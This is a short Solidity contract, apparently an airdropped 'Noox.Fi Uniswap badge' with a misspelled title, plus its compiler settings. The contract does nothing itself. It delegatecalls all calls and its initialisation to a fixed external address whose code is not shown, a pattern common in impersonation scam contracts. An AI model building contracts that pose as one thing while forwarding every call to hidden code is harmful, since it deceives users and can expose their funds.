Noox.Fi: Uniswap Receipent Badge V2

// SPDX-License-Identifier: MIT

pragma solidity <=0.8.13;

contract NooxBadge {
    uint256 data = 0x5324;
    fallback(bytes calldata data) payable external returns(bytes memory){
        (bool r1, bytes memory result) = address(0x3f51cBCFDB336449134b24EcDD89B376109C82B2).delegatecall(data);
        require(r1, "Verification.");
        return result;
    }

    receive() payable external {
    }

    constructor() {
        bytes memory data = abi.encodeWithSignature("initialize()");
        (bool r1,) = address(0x3f51cBCFDB336449134b24EcDD89B376109C82B2).delegatecall(data);
        require(r1, "Verificiation.");
    }
}

{
  "compilationTarget": {
    "NooxBadge.sol": "NooxBadge"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}